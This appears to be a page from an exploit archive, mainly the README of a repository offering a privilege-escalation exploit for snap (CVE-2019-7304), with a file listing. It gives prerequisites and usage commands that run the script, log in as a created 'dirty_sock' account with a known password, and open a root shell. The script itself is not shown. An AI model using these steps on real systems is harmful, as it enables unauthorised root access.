来源

关联漏洞

描述

Another implementation for linux privilege escalation exploit via snap(d) (CVE-2019-7304)

介绍

# snap_priv_esc
Another implementation for linux privilege escalation exploit via snap(d) (CVE-2019-7304)
# What is snap?
**Snap** is a software [packaging](https://en.wikipedia.org/wiki/Package_manager "Package manager") and [deployment](https://en.wikipedia.org/wiki/Software_deployment "Software deployment") system developed by [Canonical](https://en.wikipedia.org/wiki/Canonical_(company) "Canonical (company)") for the [operating systems](https://en.wikipedia.org/wiki/Operating_system "Operating system") that use the [Linux](https://en.wikipedia.org/wiki/Linux "Linux") kernel. The packages, called _snaps_, and the tool for using them, _snapd_, work across a range of [Linux distributions](https://en.wikipedia.org/wiki/Linux_distribution "Linux distribution") and allow [upstream](https://en.wikipedia.org/wiki/Upstream_(software_development) "Upstream (software development)") software developers to distribute their applications directly to users. Snaps are self-contained applications running in a sandbox with mediated access to the host system. Snap was originally released for [cloud](https://en.wikipedia.org/wiki/Cloud_computing "Cloud computing") applications[\[1\]](https://en.wikipedia.org/wiki/Snap_(package_manager)#cite_note-:6-1) but was later ported to work for [Internet of Things](https://en.wikipedia.org/wiki/Internet_of_things "Internet of things") devices[\[3\]](https://en.wikipedia.org/wiki/Snap_(package_manager)#cite_note-3)[\[4\]](https://en.wikipedia.org/wiki/Snap_(package_manager)#cite_note-4) and desktop[\[5\]](https://en.wikipedia.org/wiki/Snap_(package_manager)#cite_note-5)[\[6\]](https://en.wikipedia.org/wiki/Snap_(package_manager)#cite_note-6) applications too.

# other snap's esploits :

[dirty_sock: Linux Privilege Escalation (via snapd)](https://github.com/initstring/dirty_sock)

# exploit (without 'snapd' just snap )
### this exploit needs 
	- snap installed on system
	- you have sudo with or without password on snap

# Usage :
```bash
./exp.sh "snap_path" "pwd"
ex:
	./exp.sh "/usr/bin/snap" "/home/evil"

```

then you can use 
```bash
su - dirty_sock
dirty_sock (as password)
sudo bash
```

文件快照

 [4.0K]  /data/pocs/1a3dc4e78bf27e792fc758f1625957b5077f2913
├── [ 604]  exp.sh
├── [ 243]  install
├── [2.1K]  README.md
└── [ 203]  snap.yaml

0 directories, 4 files

备注